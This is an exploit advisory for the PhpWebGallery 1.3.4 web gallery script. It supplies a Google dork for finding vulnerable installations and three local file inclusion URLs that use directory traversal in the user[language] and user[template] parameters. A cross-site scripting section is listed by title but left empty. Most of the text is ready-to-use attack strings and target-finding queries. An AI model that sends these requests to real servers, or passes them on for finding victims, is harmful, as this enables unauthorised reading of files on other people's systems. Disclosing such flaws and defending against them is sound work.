Script : PhpWebGallery 1.3.4
Type : Multiple Vulnerabilities (XSS/LFI)
Rist : High
Google Dork : inurl:"picture.php?cat=" "Powered by PhpWebGallery 1.3.4"
Download From : http://puzzle.dl.sourceforge.net/sourceforge/phpwebgallery/phpwebgallery-1.3.4.tar.bz2
Discovered by : Khashayar Fereidani Or Dr.Crash
My Official Website : HTTP://FEREIDANI.IR
Team Website : Http://IRCRASH.COM
Khashayar Fereidani Email : irancrash [ a t ] gmail [ d o t ] com
Local File Inclusion Vulnerabilities :
Lfi 1 : http://example/include/init.inc.php?user[language]=../../[LFI]
Lfi 2 : http://example/include/init.inc.php?user[template]=../../[LFI]
Lfi 3 : http://example/include/isadmin.inc.php?user[language]=../../[LFI]
Cross Site Scripting Vulnerabilities :
Tnx : God
HTTP://IRCRASH.COM HTTP://FEREIDANI.IR